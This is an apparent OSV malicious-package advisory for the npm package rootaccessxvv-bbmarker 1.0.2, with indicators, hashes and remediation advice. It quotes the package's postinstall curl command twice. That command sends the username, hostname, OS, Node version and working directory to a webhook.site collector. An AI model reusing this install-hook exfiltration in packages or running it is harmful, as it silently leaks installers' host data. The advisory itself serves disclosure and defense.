MAL-2026-18108

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/rootaccessxvv-bbmarker/MAL-2026-18108.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-18108
Aliases
  • GHSA-j3h4-5jwm-6m55
Published
2026-10-18T05:50:46Z
Modified
2026-11-03T15:30:04Z
Summary
Malicious code in rootaccessxvv-bbmarker (npm)
Details

Its postinstall hook runs on npm install: curl -s -m 10 -X POST "https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof" -H "Content-Type: text/plain" --data-binary "DPD-REGISTRY-RCE-PROOF|user=$(whoami)|host=$(hostname)|node=$(node --version)|os=$(uname -a 2>/dev/null || ver)|cwd=$PWD|pkg=rootaccessxvv-bbmarker@1.0.2|benign-research-rootaccessxvv" || true. The hook collects the username, hostname, Node.js version, operating system, working directory and package name, then sends them to https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof. The npm account mohamed2343224 published it on 2026-10-18.

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (126c6e67bc80ed62f5e620ef9a8ce11ca39653348a59bc8d7a1d0cef76f72a02)

package.json declares a postinstall lifecycle script that runs on npm install and POSTs installer host identifiers to a hardcoded webhook.site collector at https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof. The script shells out to whoami, hostname, uname, and node -v, concatenates the output with the current working directory, and sends the result via curl -X POST. The destination is an anonymous third-party webhook aggregator unrelated to any legitimate install-time dependency. The package name self-describes as a proof-of-concept, but the behavior — automatic install-time collection and exfiltration of installer identity and host metadata to an attacker-controlled collector — is a working supply-chain attack regardless of how it is labeled.

Source: ghsa-malware (73760163626a2b65c41c758597a6a063e7d0aa9a89659b9990b93e35d63b4a33)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific 
{
    "iocs": {
        "files": [
            {
                "digests": {
                    "sha256": "949afba7538eb2ff6ba45c2757ff268055e1c2f6ee10d139740dcca424d22913"
                },
                "note": "postinstall script: curl -s -m 10 -X POST \"https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof\" -H \"Content-Type: text/plain\" --data-binary \"DPD-REGISTRY-RCE-PROOF|user=$(whoami)|host=$(hostname)|node=$(node --version)|os=$(uname -a 2>/dev/null || ver)|cwd=$PWD|pkg=rootaccessxvv-bbmarker@1.0.2|benign-research-rootaccessxvv\" || true",
                "paths": [
                    "package.json"
                ],
                "source": "PACKAGE_ARCHIVE"
            }
        ],
        "urls": [
            "https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof"
        ]
    },
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-021550",
            "import_time": "2026-10-20T18:46:13.8136392Z",
            "modified_time": "2026-10-20T18:45:46Z",
            "sha256": "126c6e67bc80ed62f5e620ef9a8ce11ca39653348a59bc8d7a1d0cef76f72a02",
            "source": "amazon-inspector",
            "versions": [
                "1.0.2"
            ]
        },
        {
            "id": "GHSA-j3h4-5jwm-6m55",
            "import_time": "2026-11-03T15:17:46.107558691Z",
            "modified_time": "2026-11-03T14:56:11Z",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "sha256": "73760163626a2b65c41c758597a6a063e7d0aa9a89659b9990b93e35d63b4a33",
            "source": "ghsa-malware"
        }
    ]
}
References
Credits

Affected packages

npm / rootaccessxvv-bbmarker

Package

Name
rootaccessxvv-bbmarker
View open source insights on deps.dev
Purl
pkg:npm/rootaccessxvv-bbmarker

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.0.2

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files": [
        {
            "path": "package.json",
            "sha256": "949afba7538eb2ff6ba45c2757ff268055e1c2f6ee10d139740dcca424d22913",
            "tlsh": "7901fda7ab04957606f00b7c96629f0afb505b0f85349c0bf2f740a90369ea88793f18"
        }
    ],
    "package_integrity": [
        {
            "filename": "rootaccessxvv-bbmarker-1.0.2.tgz",
            "hashes": {
                "sha1": "03191f4a841c069d718612feda0b08d262283b07",
                "sha512_sri": "sha512-o/xNrAhQezHEJZeP0CZLKEDckNGKCCoyZHBxxJD/eaZv/NNGxo1FnUE+6zctlACyAqZlk+BO+vUpCnSGs1AHlQ=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/rootaccessxvv-bbmarker/MAL-2026-18108.json"